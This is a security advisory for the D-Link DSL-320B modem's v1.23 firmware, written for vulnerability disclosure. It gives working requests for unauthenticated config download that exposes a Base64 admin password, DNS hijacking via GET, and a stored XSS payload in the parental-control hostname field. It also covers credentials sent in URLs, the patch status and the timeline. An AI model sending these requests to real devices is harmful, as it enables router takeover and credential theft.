Device: DSL-320B

Firmware Version: EU_DSL-320B v1.23 date: 28.12.2010

Vendor URL: http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem

============ Vulnerability Overview: ============  

* Access to the Config file without authentication => full authentication bypass possible! :): (1)

192.168.178.111/config.bin

===<snip>====
<sysUserName value="admin"/>
<zipb enable="1"/>
<dns dynamic="disable" primary="1.1.1.1" secondary="2.2.2.3" domain="Home" host="alpha"/>
<sysPassword value="dGVzdA=="/>
===<snip>====

=> sysPassword is Base64 encoded

* Access to the logfile without authentication: (1)
192.168.178.111/status/status_log.sys

* Change the DNS Settings without authentication: (1)
http://192.168.178.111/advanced/adv_dns.xgi?&SET/dns/mode=0&SET/dns/mode/server/primarydns=1.1.1.1&SET/dns/mode/server/secondarydns=2.2.2.2

* Stored XSS within parental control (2):
  
  => Parameter: set/bwlist/entry:1/hostname
  
Request:
http://192.168.178.111/home/home_parent.xgi?&set/bwlist/enable=1&set/bwlist/bw_status=0&set/bwlist/entry:1/bw_flag=0&set/bwlist/entry:1/hostname=%22%3E%3Cimg%20src=%220%22%20onerror=alert(1)%3E&set/bwlist/entry:1/weekday=6&set/bwlist/entry:1/begintime=00:00&set/bwlist/entry:1/endtime=23:59&set/bwlist/entry:1/store=1&set/bwlist/apply=1

Again you are able to place this XSS without authentication. :)

* Login Credentials in HTTP GET are not a good idea => use HTTP Post! (3)
http://192.168.178.111/login.xgi?user=admin&pass=admin1

* Credentials in HTTP GET via password change request are not a good idea => use HTTP Post!: (3)
http://192.168.178.111/tools/tools_admin.xgi?&set/sys/account/user/oldpwd=admin&set/sys/account/user/password=test&CMT=1

============ Solution ============

Update to firmware version 1.25:

(1) - fixed
(2) - not fixed but authentication needed
(3) - not fixed

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

17.03.2012 - discovered vulnerabilities
17.03.2013 - informed vendor about the vulnerabilities
25.04.2013 - tested beta version from vendor
30.04.2013 - vendor releases patch
06.05.2013 - public disclosure

===================== Advisory end =====================